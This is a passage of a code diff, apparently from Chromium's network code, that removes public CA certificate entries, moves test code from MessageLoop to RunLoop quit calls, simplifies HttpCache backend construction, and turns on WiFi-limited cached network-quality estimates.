-         0b:5e:b1:8f:68:ea:8a:9e:ca:d2:c9:a0:03:7e:70:25:f4:32:
-         c9:4e:50:83:87:a2:34:48:3d:4f:35:77:fc:d8:88:ea:f6:7d:
-         1e:ce:43:b6:d5:c2:6a:7e:38:66:63:4d:e7:ee:32:ef:0f:24:
-         e8:2a:67:fa
------BEGIN CERTIFICATE-----
-MIIFBjCCA+6gAwIBAgIQEaO00OyNt3+doM1dLVEvQjANBgkqhkiG9w0BAQUFADCB
-gTELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4G
-A1UEBxMHU2FsZm9yZDEaMBgGA1UEChMRQ09NT0RPIENBIExpbWl0ZWQxJzAlBgNV
-BAMTHkNPTU9ETyBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xMDA1MjQwMDAw
-MDBaFw0yMDA1MzAxMDQ4MzhaMIGOMQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3Jl
-YXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFDT01P
-RE8gQ0EgTGltaXRlZDE0MDIGA1UEAxMrQ09NT0RPIEV4dGVuZGVkIFZhbGlkYXRp
-b24gU2VjdXJlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
-ggEBAMxKljPNJY1n7iiWN4dG8PYEooR/U6qW5h+xAhxu7X0h1Nc8HqLYaS+ot/Wi
-7WRYZOFEZTZJQSABjTsT4gjzDPJXOZM3txyTRIOOvy3xoQV12m7ue28b6naDKHRK
-HCvT9cQDcpOvhs4JjDx11MkKL3Lzrb0OMDyEoXMfAyUUpY/D1vS15N2GevUZumjy
-hVSiMBHK0ZLLO3QGEqA3q2rYVBHfbJoWlLm0p2XGdC0x801S6VVRn8s+oo12mHDS
-b6ZlRS8bhbtbbfnywARmE4R6nc4n2PREnr+svpnba0/bWCGwiSe0jzLWS15ykV7f
-BZ3ZSS/0tm9QH3XLgJ3m0+TR8tMCAwEAAaOCAWkwggFlMB8GA1UdIwQYMBaAFAtY
-5YvGTBU3pECpMKkhvkc2Wlb/MB0GA1UdDgQWBBSIRFH/UCppXi2I9CG62Qzyzsvq
-fDAOBgNVHQ8BAf8EBAMCAQYwEgYDVR0TAQH/BAgwBgEB/wIBADA+BgNVHSAENzA1
-MDMGBFUdIAAwKzApBggrBgEFBQcCARYdaHR0cHM6Ly9zZWN1cmUuY29tb2RvLmNv
-bS9DUFMwSQYDVR0fBEIwQDA+oDygOoY4aHR0cDovL2NybC5jb21vZG9jYS5jb20v
-Q09NT0RPQ2VydGlmaWNhdGlvbkF1dGhvcml0eS5jcmwwdAYIKwYBBQUHAQEEaDBm
-MD4GCCsGAQUFBzAChjJodHRwOi8vY3J0LmNvbW9kb2NhLmNvbS9DT01PRE9BZGRU
-cnVzdFNlcnZlckNBLmNydDAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuY29tb2Rv
-Y2EuY29tMA0GCSqGSIb3DQEBBQUAA4IBAQCaQ7+vpHJezX1vf/T8PYy7cOYe3QT9
-P9ydn7+JdpvyhjH8f7PtKpFTLOKqsOPILHH3FYojHPFpLoH7sbxiC6saVBzZIl40
-TKX2Iw9dej3bQ81pfhc3Us1TocIR1FN4J2TViUFNFlW7kMvw2OTd3dMJZEgo/zIj
-hC+Me1UvzymINzR4DzOq/7fylqSbRIC1vmxWVKukgZ4lGChUOn8sY89ZIIwYazgs
-tN3t40DeDDYlV5rA0WCeXgNol64aO+pF11GZSe5EWVYLXrGPaOqKnsrSyaADfnAl
-9DLJTlCDh6I0SD1PNXf82Ijq9n0ezkO21cJqfjhmY03n7jLvDyToKmf6
------END CERTIFICATE-----
-Certificate:
-    Data:
-        Version: 3 (0x2)
-        Serial Number:
-            6f:25:dc:15:af:df:5e:a3:08:56:0c:3b:7a:4f:c7:f8
-    Signature Algorithm: sha1WithRSAEncryption
-        Issuer: C=SE, O=AddTrust AB, OU=AddTrust External TTP Network, CN=AddTrust External CA Root
-        Validity
-            Not Before: May 30 10:48:38 2000 GMT
-            Not After : May 30 10:48:38 2020 GMT
-        Subject: C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO Certification Authority
-        Subject Public Key Info:
-            Public Key Algorithm: rsaEncryption
-                Public-Key: (2048 bit)
-                Modulus:
-                    00:d0:40:8b:8b:72:e3:91:1b:f7:51:c1:1b:54:04:
-                    98:d3:a9:bf:c1:e6:8a:5d:3b:87:fb:bb:88:ce:0d:
-                    e3:2f:3f:06:96:f0:a2:29:50:99:ae:db:3b:a1:57:
-                    b0:74:51:71:cd:ed:42:91:4d:41:fe:a9:c8:d8:6a:
-                    86:77:44:bb:59:66:97:50:5e:b4:d4:2c:70:44:cf:
-                    da:37:95:42:69:3c:30:c4:71:b3:52:f0:21:4d:a1:
-                    d8:ba:39:7c:1c:9e:a3:24:9d:f2:83:16:98:aa:16:
-                    7c:43:9b:15:5b:b7:ae:34:91:fe:d4:62:26:18:46:
-                    9a:3f:eb:c1:f9:f1:90:57:eb:ac:7a:0d:8b:db:72:
-                    30:6a:66:d5:e0:46:a3:70:dc:68:d9:ff:04:48:89:
-                    77:de:b5:e9:fb:67:6d:41:e9:bc:39:bd:32:d9:62:
-                    02:f1:b1:a8:3d:6e:37:9c:e2:2f:e2:d3:a2:26:8b:
-                    c6:b8:55:43:88:e1:23:3e:a5:d2:24:39:6a:47:ab:
-                    00:d4:a1:b3:a9:25:fe:0d:3f:a7:1d:ba:d3:51:c1:
-                    0b:a4:da:ac:38:ef:55:50:24:05:65:46:93:34:4f:
-                    2d:8d:ad:c6:d4:21:19:d2:8e:ca:05:61:71:07:73:
-                    47:e5:8a:19:12:bd:04:4d:ce:4e:9c:a5:48:ac:bb:
-                    26:f7
-                Exponent: 65537 (0x10001)
-        X509v3 extensions:
-            X509v3 Authority Key Identifier: 
-                keyid:AD:BD:98:7A:34:B4:26:F7:FA:C4:26:54:EF:03:BD:E0:24:CB:54:1A
-
-            X509v3 Subject Key Identifier: 
-                0B:58:E5:8B:C6:4C:15:37:A4:40:A9:30:A9:21:BE:47:36:5A:56:FF
-            X509v3 Key Usage: critical
-                Certificate Sign, CRL Sign
-            X509v3 Basic Constraints: critical
-                CA:TRUE
-            X509v3 Certificate Policies: 
-                Policy: X509v3 Any Policy
-
-            X509v3 CRL Distribution Points: 
-
-                Full Name:
-                  URI:http://crl.usertrust.com/AddTrustExternalCARoot.crl
-
-            Authority Information Access: 
-                CA Issuers - URI:http://crt.usertrust.com/AddTrustExternalCARoot.p7c
-                CA Issuers - URI:http://crt.usertrust.com/AddTrustUTNSGCCA.crt
-                OCSP - URI:http://ocsp.usertrust.com
-
-    Signature Algorithm: sha1WithRSAEncryption
-         07:60:93:99:aa:ce:d0:d3:47:d0:37:33:de:3f:64:b7:e5:2e:
-         a3:25:0c:d5:33:1d:0d:8d:ab:f6:7e:46:7b:59:06:92:e3:82:
-         c4:e7:f5:f6:f3:d9:05:cf:49:34:2d:37:5f:f4:25:c7:f0:fb:
-         6b:23:77:f1:f1:40:d7:4c:bb:49:45:31:dd:00:28:67:b7:29:
-         4c:75:a8:1f:79:31:c9:36:37:0f:ca:35:4f:8c:f1:7e:de:fc:
-         46:ab:bf:68:9b:70:23:30:2e:b7:c5:5c:7b:8a:fb:18:13:79:
-         4b:92:42:8c:dc:2c:ab:6c:22:b7:28:53:b3:1a:4a:ce:1b:fb:
-         28:0e:b7:3a:a4:da:0d:f7:40:32:4f:df:6f:bb:01:50:fc:87:
-         d3:76:d9:fc:fb:b6:84:03:ca:c9:36:18:f7:dd:6c:db:bb:ba:
-         81:1c:a6:ad:fe:28:f9:cf:b9:a2:71:5d:19:05:ea:4a:46:dc:
-         73:41:ef:89:94:42:b1:43:88:6f:35:17:af:1e:60:83:ac:7a:
-         8c:10:7b:9f:c9:f6:83:6d:9e:fa:88:ee:3e:dd:ee:9e:b0:bf:
-         e0:6a:b9:d0:9f:07:b2:09:13:9a:f5:a4:e5:c8:5b:79:a7:47:
-         35:33:68:e5:55:9e:aa:5b:cb:30:0b:9d:c7:0f:bf:68:44:81:
-         97:8b:51:4a
------BEGIN CERTIFICATE-----
-MIIE8TCCA9mgAwIBAgIQbyXcFa/fXqMIVgw7ek/H+DANBgkqhkiG9w0BAQUFADBv
-MQswCQYDVQQGEwJTRTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxJjAkBgNVBAsTHUFk
-ZFRydXN0IEV4dGVybmFsIFRUUCBOZXR3b3JrMSIwIAYDVQQDExlBZGRUcnVzdCBF
-eHRlcm5hbCBDQSBSb290MB4XDTAwMDUzMDEwNDgzOFoXDTIwMDUzMDEwNDgzOFow
-gYExCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAO
-BgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMScwJQYD
-VQQDEx5DT01PRE8gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEiMA0GCSqGSIb3
-DQEBAQUAA4IBDwAwggEKAoIBAQDQQIuLcuORG/dRwRtUBJjTqb/B5opdO4f7u4jO
-DeMvPwaW8KIpUJmu2zuhV7B0UXHN7UKRTUH+qcjYaoZ3RLtZZpdQXrTULHBEz9o3
-lUJpPDDEcbNS8CFNodi6OXwcnqMknfKDFpiqFnxDmxVbt640kf7UYiYYRpo/68H5
-8ZBX66x6DYvbcjBqZtXgRqNw3GjZ/wRIiXfeten7Z21B6bw5vTLZYgLxsag9bjec
-4i/i06Imi8a4VUOI4SM+pdIkOWpHqwDUobOpJf4NP6cdutNRwQuk2qw471VQJAVl
-RpM0Ty2NrcbUIRnSjsoFYXEHc0flihkSvQRNzk6cpUisuyb3AgMBAAGjggF0MIIB
-cDAfBgNVHSMEGDAWgBStvZh6NLQm9/rEJlTvA73gJMtUGjAdBgNVHQ4EFgQUC1jl
-i8ZMFTekQKkwqSG+RzZaVv8wDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMB
-Af8wEQYDVR0gBAowCDAGBgRVHSAAMEQGA1UdHwQ9MDswOaA3oDWGM2h0dHA6Ly9j
-cmwudXNlcnRydXN0LmNvbS9BZGRUcnVzdEV4dGVybmFsQ0FSb290LmNybDCBswYI
-KwYBBQUHAQEEgaYwgaMwPwYIKwYBBQUHMAKGM2h0dHA6Ly9jcnQudXNlcnRydXN0
-LmNvbS9BZGRUcnVzdEV4dGVybmFsQ0FSb290LnA3YzA5BggrBgEFBQcwAoYtaHR0
-cDovL2NydC51c2VydHJ1c3QuY29tL0FkZFRydXN0VVROU0dDQ0EuY3J0MCUGCCsG
-AQUFBzABhhlodHRwOi8vb2NzcC51c2VydHJ1c3QuY29tMA0GCSqGSIb3DQEBBQUA
-A4IBAQAHYJOZqs7Q00fQNzPeP2S35S6jJQzVMx0Njav2fkZ7WQaS44LE5/X289kF
-z0k0LTdf9CXH8PtrI3fx8UDXTLtJRTHdAChntylMdagfeTHJNjcPyjVPjPF+3vxG
-q79om3AjMC63xVx7ivsYE3lLkkKM3CyrbCK3KFOzGkrOG/soDrc6pNoN90AyT99v
-uwFQ/IfTdtn8+7aEA8rJNhj33Wzbu7qBHKat/ij5z7micV0ZBepKRtxzQe+JlEKx
-Q4hvNRevHmCDrHqMEHufyfaDbZ76iO4+3e6esL/garnQnweyCROa9aTlyFt5p0c1
-M2jlVZ6qW8swC53HD79oRIGXi1FK
------END CERTIFICATE-----
diff --git a/net/disk_cache/disk_cache_test_util.cc b/net/disk_cache/disk_cache_test_util.cc
index 3a659fe..283b254cd 100644
--- a/net/disk_cache/disk_cache_test_util.cc
+++ b/net/disk_cache/disk_cache_test_util.cc
@@ -107,7 +107,7 @@
   CHECK_LE(callbacks_called_, num_callbacks_);
   if (callbacks_called_ == num_callbacks_) {
     completed_ = true;
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   } else {
     // Not finished yet. See if we have to abort.
     if (last_ == callbacks_called_)
@@ -115,7 +115,7 @@
     else
       last_ = callbacks_called_;
     if (40 == num_iterations_)
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 }
 
diff --git a/net/disk_cache/simple/simple_index.cc b/net/disk_cache/simple/simple_index.cc
index 0166c8c..48a662f06 100644
--- a/net/disk_cache/simple/simple_index.cc
+++ b/net/disk_cache/simple/simple_index.cc
@@ -431,7 +431,6 @@
 void SimpleIndex::MergeInitializingSet(
     std::unique_ptr<SimpleIndexLoadResult> load_result) {
   DCHECK(io_thread_checker_.CalledOnValidThread());
-  DCHECK(load_result->did_load);
 
   EntrySet* index_file_entries = &load_result->entries;
 
diff --git a/net/disk_cache/simple/simple_index_file.h b/net/disk_cache/simple/simple_index_file.h
index f6c1488..9e119d58 100644
--- a/net/disk_cache/simple/simple_index_file.h
+++ b/net/disk_cache/simple/simple_index_file.h
@@ -87,12 +87,14 @@
                   const base::FilePath& cache_directory);
   virtual ~SimpleIndexFile();
 
-  // Get index entries based on current disk context.
+  // Gets index entries based on current disk context. On error it may leave
+  // |out_result.did_load| untouched, but still return partial and consistent
+  // results in |out_result.entries|.
   virtual void LoadIndexEntries(base::Time cache_last_modified,
                                 const base::Closure& callback,
                                 SimpleIndexLoadResult* out_result);
 
-  // Write the specified set of entries to disk.
+  // Writes the specified set of entries to disk.
   virtual void WriteToDisk(SimpleIndex::IndexWriteToDiskReason reason,
                            const SimpleIndex::EntrySet& entry_set,
                            uint64_t cache_size,
diff --git a/net/dns/dns_config_service_unittest.cc b/net/dns/dns_config_service_unittest.cc
index 35183096..86d1c3d1 100644
--- a/net/dns/dns_config_service_unittest.cc
+++ b/net/dns/dns_config_service_unittest.cc
@@ -27,7 +27,7 @@
   void OnConfigChanged(const DnsConfig& config) {
     last_config_ = config;
     if (quit_on_config_)
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  protected:
diff --git a/net/dns/dns_transaction_unittest.cc b/net/dns/dns_transaction_unittest.cc
index c1a7b681..25fdfb8e 100644
--- a/net/dns/dns_transaction_unittest.cc
+++ b/net/dns/dns_transaction_unittest.cc
@@ -283,7 +283,7 @@
 
     // Tell MessageLoop to quit now, in case any ASSERT_* fails.
     if (quit_in_callback_)
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
 
     if (expected_answer_count_ >= 0) {
       ASSERT_THAT(rv, IsOk());
diff --git a/net/dns/host_resolver_impl_unittest.cc b/net/dns/host_resolver_impl_unittest.cc
index 96b6258..9b3b3948 100644
--- a/net/dns/host_resolver_impl_unittest.cc
+++ b/net/dns/host_resolver_impl_unittest.cc
@@ -320,7 +320,7 @@
     if (handler_)
       handler_->Handle(this);
     if (quit_on_complete_) {
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
       quit_on_complete_ = false;
     }
   }
@@ -1028,7 +1028,7 @@
                   CreateRequest(info, DEFAULT_PRIORITY)->Resolve());
       } else if (71 == req->info().port()) {
         // Test is done.
-        base::MessageLoop::current()->QuitWhenIdle();
+        base::RunLoop::QuitCurrentWhenIdleDeprecated();
       } else {
         FAIL() << "Unexpected request";
       }
diff --git a/net/dns/mdns_client_unittest.cc b/net/dns/mdns_client_unittest.cc
index af64bce3..2de0ce6 100644
--- a/net/dns/mdns_client_unittest.cc
+++ b/net/dns/mdns_client_unittest.cc
@@ -10,7 +10,6 @@
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
 #include "base/memory/ref_counted.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "base/threading/thread_task_runner_handle.h"
@@ -471,7 +470,7 @@
 }
 
 void MDnsTest::Stop() {
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 TEST_F(MDnsTest, PassiveListeners) {
diff --git a/net/dns/serial_worker_unittest.cc b/net/dns/serial_worker_unittest.cc
index 1f940fe..debda40 100644
--- a/net/dns/serial_worker_unittest.cc
+++ b/net/dns/serial_worker_unittest.cc
@@ -66,7 +66,7 @@
  protected:
   void BreakCallback(const std::string& breakpoint) {
     breakpoint_ = breakpoint;
-    base::MessageLoop::current()->QuitNow();
+    base::RunLoop::QuitCurrentDeprecated();
   }
 
   void BreakNow(const std::string& b) {
diff --git a/net/http/http_cache.cc b/net/http/http_cache.cc
index 9e359fc..202fd7aa 100644
--- a/net/http/http_cache.cc
+++ b/net/http/http_cache.cc
@@ -53,27 +53,22 @@
 
 namespace net {
 
-HttpCache::DefaultBackend::DefaultBackend(
-    CacheType type,
-    BackendType backend_type,
-    const base::FilePath& path,
-    int max_bytes,
-    const scoped_refptr<base::SingleThreadTaskRunner>& thread)
+HttpCache::DefaultBackend::DefaultBackend(CacheType type,
+                                          BackendType backend_type,
+                                          const base::FilePath& path,
+                                          int max_bytes)
     : type_(type),
       backend_type_(backend_type),
       path_(path),
-      max_bytes_(max_bytes),
-      thread_(thread) {
-}
+      max_bytes_(max_bytes) {}
 
 HttpCache::DefaultBackend::~DefaultBackend() {}
 
 // static
 std::unique_ptr<HttpCache::BackendFactory> HttpCache::DefaultBackend::InMemory(
     int max_bytes) {
-  return base::WrapUnique(
-      new DefaultBackend(MEMORY_CACHE, CACHE_BACKEND_DEFAULT, base::FilePath(),
-                         max_bytes, nullptr));
+  return base::WrapUnique(new DefaultBackend(
+      MEMORY_CACHE, CACHE_BACKEND_DEFAULT, base::FilePath(), max_bytes));
 }
 
 int HttpCache::DefaultBackend::CreateBackend(
@@ -86,7 +81,6 @@
                                         path_,
                                         max_bytes_,
                                         true,
-                                        thread_,
                                         net_log,
                                         backend,
                                         callback);
diff --git a/net/http/http_cache.h b/net/http/http_cache.h
index e170756..f0f2a0f 100644
--- a/net/http/http_cache.h
+++ b/net/http/http_cache.h
@@ -37,7 +37,6 @@
 class GURL;
 
 namespace base {
-class SingleThreadTaskRunner;
 namespace trace_event {
 class ProcessMemoryDump;
 }
@@ -87,14 +86,12 @@
   // A default backend factory for the common use cases.
   class NET_EXPORT DefaultBackend : public BackendFactory {
    public:
-    // |path| is the destination for any files used by the backend, and
-    // |thread| is the thread where disk operations should take place. If
+    // |path| is the destination for any files used by the backend. If
     // |max_bytes| is  zero, a default value will be calculated automatically.
     DefaultBackend(CacheType type,
                    BackendType backend_type,
                    const base::FilePath& path,
-                   int max_bytes,
-                   const scoped_refptr<base::SingleThreadTaskRunner>& thread);
+                   int max_bytes);
     ~DefaultBackend() override;
 
     // Returns a factory for an in-memory cache.
@@ -110,7 +107,6 @@
     BackendType backend_type_;
     const base::FilePath path_;
     int max_bytes_;
-    scoped_refptr<base::SingleThreadTaskRunner> thread_;
   };
 
   // The number of minutes after a resource is prefetched that it can be used
diff --git a/net/http/http_response_body_drainer_unittest.cc b/net/http/http_response_body_drainer_unittest.cc
index a02ed66..a8536950 100644
--- a/net/http/http_response_body_drainer_unittest.cc
+++ b/net/http/http_response_body_drainer_unittest.cc
@@ -13,7 +13,6 @@
 #include "base/location.h"
 #include "base/macros.h"
 #include "base/memory/weak_ptr.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "base/threading/thread_task_runner_handle.h"
@@ -61,7 +60,7 @@
     result_ = result;
     have_result_ = true;
     if (waiting_for_result_)
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  private:
diff --git a/net/http/http_stream_factory_impl_unittest.cc b/net/http/http_stream_factory_impl_unittest.cc
index 0941fdc9..624be82 100644
--- a/net/http/http_stream_factory_impl_unittest.cc
+++ b/net/http/http_stream_factory_impl_unittest.cc
@@ -14,7 +14,6 @@
 #include "base/compiler_specific.h"
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/test/histogram_tester.h"
 #include "net/base/port_util.h"
@@ -175,7 +174,7 @@
   void OnPreconnectsCompleteInternal() override {
     preconnect_done_ = true;
     if (waiting_for_preconnect_)
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   bool preconnect_done_;
diff --git a/net/http/http_transaction_test_util.cc b/net/http/http_transaction_test_util.cc
index 19f2797..ec8d9f20 100644
--- a/net/http/http_transaction_test_util.cc
+++ b/net/http/http_transaction_test_util.cc
@@ -10,7 +10,6 @@
 
 #include "base/bind.h"
 #include "base/location.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "base/strings/stringprintf.h"
@@ -224,7 +223,7 @@
   state_ = DONE;
   error_ = result;
   if (--quit_counter_ == 0)
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void TestTransactionConsumer::Read() {
diff --git a/net/nqe/network_quality_estimator.cc b/net/nqe/network_quality_estimator.cc
index 20b498c..c3046f8 100644
--- a/net/nqe/network_quality_estimator.cc
+++ b/net/nqe/network_quality_estimator.cc
@@ -1483,6 +1483,12 @@
   if (!params_->persistent_cache_reading_enabled())
     return false;
 
+  if (current_network_id_.type !=
+          NetworkChangeNotifier::ConnectionType::CONNECTION_WIFI &&
+      !disable_offline_check_) {
+    return false;
+  }
+
   nqe::internal::CachedNetworkQuality cached_network_quality;
 
   const bool cached_estimate_available = network_quality_store_->GetById(
@@ -1820,6 +1826,11 @@
     return;
   if (network_id != current_network_id_)
     return;
+  if (network_id.type !=
+          NetworkChangeNotifier::ConnectionType::CONNECTION_WIFI &&
+      !disable_offline_check_) {
+    return;
+  }
 
   // Since the cached network quality is for the current network, add it to
   // the current observations.
diff --git a/net/nqe/network_quality_estimator_params.cc b/net/nqe/network_quality_estimator_params.cc
index 3297f84..ee581308 100644
--- a/net/nqe/network_quality_estimator_params.cc
+++ b/net/nqe/network_quality_estimator_params.cc
@@ -86,7 +86,7 @@
 bool GetPersistentCacheReadingEnabled(
     const std::map<std::string, std::string>& params) {
   if (GetStringValueForVariationParamWithDefaultValue(
-          params, "persistent_cache_reading_enabled", "false") != "true") {
+          params, "persistent_cache_reading_enabled", "true") != "true") {
     return false;
   }
   return true;
diff --git a/net/nqe/network_quality_estimator_unittest.cc b/net/nqe/network_quality_estimator_unittest.cc
index ecbb62bb..e40d36e5 100644
--- a/net/nqe/network_quality_estimator_unittest.cc
+++ b/net/nqe/network_quality_estimator_unittest.cc
@@ -195,13 +195,11 @@
   base::HistogramTester histogram_tester;
   // Enable requests to local host to be used for network quality estimation.
   std::map<std::string, std::string> variation_params;
-  variation_params["persistent_cache_reading_enabled"] = "true";
   TestNetworkQualityEstimator estimator(variation_params);
 
   estimator.SimulateNetworkChange(
       NetworkChangeNotifier::ConnectionType::CONNECTION_UNKNOWN, "test");
-  histogram_tester.ExpectUniqueSample("NQE.CachedNetworkQualityAvailable",
-                                      false, 1);
+  histogram_tester.ExpectTotalCount("NQE.CachedNetworkQualityAvailable", 0);
 
   base::TimeDelta rtt;
   int32_t kbps;
@@ -290,7 +288,7 @@
   estimator.SimulateNetworkChange(
       NetworkChangeNotifier::ConnectionType::CONNECTION_WIFI, "test-1");
   histogram_tester.ExpectUniqueSample("NQE.CachedNetworkQualityAvailable",
-                                      false, 2);
+                                      false, 1);
   histogram_tester.ExpectTotalCount("NQE.PeakKbps.Unknown", 1);
   histogram_tester.ExpectTotalCount("NQE.FastestRTT.Unknown", 1);
 
@@ -325,7 +323,7 @@
   estimator.SimulateNetworkChange(
       NetworkChangeNotifier::ConnectionType::CONNECTION_WIFI, std::string());
   histogram_tester.ExpectUniqueSample("NQE.CachedNetworkQualityAvailable",
-                                      false, 2);
+                                      false, 1);
   histogram_tester.ExpectTotalCount("NQE.PeakKbps.Unknown", 1);
   histogram_tester.ExpectTotalCount("NQE.FastestRTT.Unknown", 1);
 
@@ -357,8 +355,6 @@
   estimator.SimulateNetworkChange(
       NetworkChangeNotifier::ConnectionType::CONNECTION_UNKNOWN, "test");
   histogram_tester.ExpectBucketCount("NQE.CachedNetworkQualityAvailable", false,
-                                     2);
-  histogram_tester.ExpectBucketCount("NQE.CachedNetworkQualityAvailable", true,
                                      1);
 }
 
@@ -367,11 +363,10 @@
 TEST(NetworkQualityEstimatorTest, Caching) {
   base::HistogramTester histogram_tester;
   std::map<std::string, std::string> variation_params;
-  variation_params["persistent_cache_reading_enabled"] = "true";
   TestNetworkQualityEstimator estimator(variation_params);
 
   estimator.SimulateNetworkChange(
-      NetworkChangeNotifier::ConnectionType::CONNECTION_2G, "test");
+      NetworkChangeNotifier::ConnectionType::CONNECTION_WIFI, "test");
   histogram_tester.ExpectUniqueSample("NQE.CachedNetworkQualityAvailable",
                                       false, 1);
 
@@ -431,7 +426,7 @@
   EXPECT_LE(2, num_net_log_entries);
 
   estimator.SimulateNetworkChange(
-      NetworkChangeNotifier::ConnectionType::CONNECTION_2G, "test");
+      NetworkChangeNotifier::ConnectionType::CONNECTION_WIFI, "test");
   histogram_tester.ExpectBucketCount(
       "NQE.RTT.ObservationSource",
       NETWORK_QUALITY_OBSERVATION_SOURCE_HTTP_CACHED_ESTIMATE, 1);
@@ -478,10 +473,11 @@
   base::HistogramTester histogram_tester;
   std::map<std::string, std::string> variation_params;
   // Do not set |persistent_cache_reading_enabled| variation param.
+  variation_params["persistent_cache_reading_enabled"] = "false";
   TestNetworkQualityEstimator estimator(variation_params);
 
   estimator.SimulateNetworkChange(
-      NetworkChangeNotifier::ConnectionType::CONNECTION_2G, "test");
+      NetworkChangeNotifier::ConnectionType::CONNECTION_WIFI, "test");
   histogram_tester.ExpectTotalCount("NQE.CachedNetworkQualityAvailable", 0);
 
   base::TimeDelta rtt;
@@ -2235,6 +2231,12 @@
       NetworkChangeNotifier::ConnectionType::CONNECTION_2G, "test");
   histogram_tester.ExpectBucketCount(
       "NQE.RTT.ObservationSource",
+      NETWORK_QUALITY_OBSERVATION_SOURCE_TRANSPORT_CACHED_ESTIMATE, 0);
+
+  estimator.SimulateNetworkChange(
+      NetworkChangeNotifier::ConnectionType::CONNECTION_WIFI, "test-1");
+  histogram_tester.ExpectBucketCount(
+      "NQE.RTT.ObservationSource",
       NETWORK_QUALITY_OBSERVATION_SOURCE_TRANSPORT_CACHED_ESTIMATE, 1);
 }
 
@@ -3006,7 +3008,7 @@
   std::map<std::string, std::string> variation_params;
   variation_params["effective_connection_type_algorithm"] =
       "TransportRTTOrDownstreamThroughput";
-  // |persistent_cache_reading_enabled| variation param is not set.
+  variation_params["persistent_cache_reading_enabled"] = "false";
 
   // Disable default platform values so that the effect of cached estimates
   // at the time of startup can be studied in isolation.
diff --git a/net/proxy/mock_proxy_script_fetcher.cc b/net/proxy/mock_proxy_script_fetcher.cc
index 8813b84..e07bde57 100644
--- a/net/proxy/mock_proxy_script_fetcher.cc
+++ b/net/proxy/mock_proxy_script_fetcher.cc
@@ -6,7 +6,6 @@
 
 #include "base/callback_helpers.h"
 #include "base/logging.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/strings/string16.h"
 #include "base/strings/utf_string_conversions.h"
@@ -27,7 +26,7 @@
   DCHECK(!has_pending_request());
 
   if (waiting_for_fetch_)
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 
   if (is_shutdown_)
     return ERR_CONTEXT_SHUT_DOWN;
diff --git a/net/proxy/proxy_resolver_v8_tracing_unittest.cc b/net/proxy/proxy_resolver_v8_tracing_unittest.cc
index 8219f64..8050973 100644
--- a/net/proxy/proxy_resolver_v8_tracing_unittest.cc
+++ b/net/proxy/proxy_resolver_v8_tracing_unittest.cc
@@ -9,7 +9,6 @@
 
 #include "base/files/file_util.h"
 #include "base/memory/ptr_util.h"
-#include "base/message_loop/message_loop.h"
 #include "base/path_service.h"
 #include "base/run_loop.h"
 #include "base/strings/utf_string_conversions.h"
@@ -708,7 +707,7 @@
 
     // Indicate to the caller that a request was received.
     EXPECT_TRUE(waiting_for_resolve_);
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 
     // This line is intentionally after action_.Run(), since one of the
     // tests does a cancellation inside of Resolve(), and it is more
diff --git a/net/proxy/proxy_resolver_v8_tracing_wrapper_unittest.cc b/net/proxy/proxy_resolver_v8_tracing_wrapper_unittest.cc
index 53cb1cb..a83061b11 100644
--- a/net/proxy/proxy_resolver_v8_tracing_wrapper_unittest.cc
+++ b/net/proxy/proxy_resolver_v8_tracing_wrapper_unittest.cc
@@ -8,7 +8,6 @@
 
 #include "base/files/file_util.h"
 #include "base/memory/ptr_util.h"
-#include "base/message_loop/message_loop.h"
 #include "base/path_service.h"
 #include "base/run_loop.h"
 #include "base/stl_util.h"
@@ -804,7 +803,7 @@
 
     // Indicate to the caller that a request was received.
     EXPECT_TRUE(waiting_for_resolve_);
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 
     // This line is intentionally after action_.Run(), since one of the
     // tests does a cancellation inside of Resolve(), and it is more
diff --git a/net/socket/client_socket_pool_base_unittest.cc b/net/socket/client_socket_pool_base_unittest.cc
index fa86ecc..3e65aa16 100644
--- a/net/socket/client_socket_pool_base_unittest.cc
